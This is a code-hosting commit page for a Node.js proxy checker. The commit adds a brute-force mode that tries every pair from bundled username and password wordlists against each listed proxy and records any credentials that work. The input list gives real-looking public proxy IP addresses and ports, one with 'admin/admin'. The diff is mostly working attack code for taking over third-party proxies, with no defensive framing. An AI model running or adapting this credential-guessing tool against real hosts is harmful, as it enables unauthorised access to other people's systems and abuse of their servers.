Commit 4769b7de authored by Ilya Yurchenko's avatar Ilya Yurchenko

Added login brute forcer

parent 139e226a
......@@ -28,6 +28,9 @@ const requestOptions = {
// from the server once connected.
proxy: ``
};
const outHeaders = [ 'addr', 'port', 'type', 'result', 'time', 'login', 'password' ];
const logins = fs.readFileSync('./login_dict.txt', { encoding: 'utf8' }).split('\n');
const passwords = fs.readFileSync('./passw_dict.txt', { encoding: 'utf8' }).split('\n');
function parseCsv(srcString) {
let result = [];
......@@ -42,13 +45,13 @@ function parseCsv(srcString) {
let cols = lines[ lineIndex ].split(',');
let resLine = {};
if ( cols.length == headers.length ) {
for (let colIndex = 0; colIndex<headers.length; colIndex++) {
for (let colIndex = 0; colIndex<headers.length; colIndex++) {
if ( cols[ colIndex ] ) {
resLine[ headers[ colIndex ] ] = cols[ colIndex ].trim();
}
result.push(resLine);
}
result.push(resLine);
}
return result;
......@@ -70,71 +73,88 @@ function TRequest(options, timeout) {
});
}
async function check(proxy, testWebsite) {
async function check(proxy, testWebsite, bruteForce) {
let options = Object.assign({}, requestOptions);
options.proxy = `${proxy.type.toLowerCase()}://${proxy.addr}:${proxy.port}`;
if ( proxy.login && proxy.pass ) {
options.proxy = `${proxy.type.toLowerCase()}://${proxy.login}:${proxy.pass}@${proxy.addr}:${proxy.port}`;
} else {
options.proxy = `${proxy.type.toLowerCase()}://${proxy.addr}:${proxy.port}`;
}
options.url = testWebsite;
options.headers.Origin = testWebsite;
let testResult = 'UNKNOWN_ERROR';
let scanStart = new Date();
let testStart = new Date();
try {
await TRequest(options, requestTimeout);
testResult = 'OK';
let testTime = new Date() - testStart;
console.log(colors.green(`${options.proxy} - Result: OK time: ${testTime}`));
return {
type: proxy.type,
addr: proxy.addr,
port: proxy.port,
result: 'OK',
time: testTime,
login: '',
password: ''
};
} catch (err) {
let errString = err.toString();
if ( errString.indexOf('cause=socket hang up') > -1 ) {
testResult = 'PROXY_ERROR';
} else if ( errString.indexOf('tunneling socket could not be established') > -1 ) {
testResult = 'PROXY_ERROR';
} else if ( errString.indexOf('cause=read ECONNRESET') > -1 ) {
testResult = 'PROXY_ERROR';
} else if ( errString.indexOf('ESOCKETTIMEDOUT') > -1 ) {
testResult = 'PROXY_TIMEOUT';
} else if ( errString.indexOf('REQUESTTIMEOUT') > -1 ) {
testResult = 'HTTP_TIMEOUT';
} else {
testResult = 'HTTP_ERROR';
// Else, try to authorize with login/password
if ( bruteForce === 'yes' ) {
for (let login of logins) {
for (let pass of passwords) {
testStart = new Date();
options.proxy = `${proxy.type.toLowerCase()}://${login}:${pass}@${proxy.addr}:${proxy.port}`;
try {
await TRequest(options, requestTimeout);
let testTime = new Date() - testStart;
console.log(colors.green(`${options.proxy} - Result: OK time: ${testTime}`));
return {
type: proxy.type,
addr: proxy.addr,
port: proxy.port,
result: 'OK',
time: testTime,
login: login,
password: pass
};
} catch {
// DO nothing
}
}
}
}
}
let testTime = new Date() - testStart;
if ( testResult === 'OK' ) {
console.log(colors.green(`${options.proxy} - Result: ${testResult} time: ${testTime}`));
} else {
console.log(colors.red(`${options.proxy} - Result: ${testResult} time: ${testTime}`));
}
let scanTime = new Date() - scanStart;
console.log(colors.red(`${proxy.type}://${proxy.addr}:${proxy.port} - Result: ERROR time: ${scanTime}`));
return {
type: proxy.type,
addr: proxy.addr,
port: proxy.port,
result: testResult,
time: testTime
result: 'ERROR',
time: scanTime,
login: '',
password: ''
};
}
async function main() {
if ( process.argv.length < 5 ) {
console.log('Not enough arguments, usage:');
console.log('node checker.js input_file.csv output_file.csv http://test_website [ optional pseudo_threads_count ]');
console.log('node checker.js input_file.csv output_file.csv http://test_website pseudo_threads_count brute_force_pass');
process.exit(1);
}
const srcFile = process.argv[ 2 ];
const dstFile = process.argv[ 3 ];
const testWebsite = process.argv[ 4 ];
const outHeaders = [ 'addr', 'port', 'type', 'result', 'time' ];
let pseudoThreads = 1;
if ( process.argv[ 5 ] ) {
pseudoThreads = parseInt(process.argv[ 5 ]);
}
let pseudoThreads = parseInt(process.argv[ 5 ]);
let bruteForce = process.argv[ 6 ]; // yes|no
process.on('uncaughtException', function() {
// Do nothing
......@@ -161,7 +181,7 @@ async function main() {
let index = raund * pseudoThreads + i;
if ( srcTable[ index ] ) {
promises.push(check(srcTable[ index ], testWebsite));
promises.push(check(srcTable[ index ], testWebsite, bruteForce));
}
}
......
addr,port,type
88.86.72.161,8080,HTTP
addr,port,type,login, pass
88.86.72.161,8080,HTTP,admin,admin
105.112.8.53,3128,HTTP
37.32.11.163,1080,SOCKS4
104.244.75.26,8080,HTTP
......
admin
Admin
administrator
root
login
user
\ No newline at end of file
123456
Password
12345678
qwerty
12345
123456789
letmein
1234567
football
iloveyou
admin
\ No newline at end of file
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment